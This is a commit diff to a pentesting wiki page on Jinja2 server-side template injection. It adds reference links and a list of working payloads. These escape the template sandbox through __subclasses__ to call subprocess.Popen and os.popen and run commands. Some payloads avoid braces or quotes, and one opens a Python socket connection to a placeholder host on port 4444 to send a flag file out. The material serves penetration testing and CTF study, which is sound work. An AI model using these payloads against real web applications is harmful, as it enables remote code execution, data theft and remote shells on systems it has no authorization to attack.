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Update jinja2-ssti.md

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# Reference

https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

https://ctftime.org/writeup/33605
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pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md
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@ -153,8 +153,10 @@ The call to `__subclasses__` has given us the opportunity to **access hundreds o
# The class 396 is the class <class 'subprocess.Popen'>
{{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
# Calling os.popen without guessing the index of the class
# Without '{{' and '}}'
{% if request['application']['__globals__']['__builtins__']['__import__']('os')['popen']('id')['read']() == 'chiv' %} a {% endif %}
# Calling os.popen without guessing the index of the class
{% raw %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("ls").read()}}{%endif%}{% endfor %}
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
@ -163,6 +165,8 @@ The call to `__subclasses__` has given us the opportunity to **access hundreds o
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
{% endraw %}
## Passing the cmd line ?cmd=id, Without " and '
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
```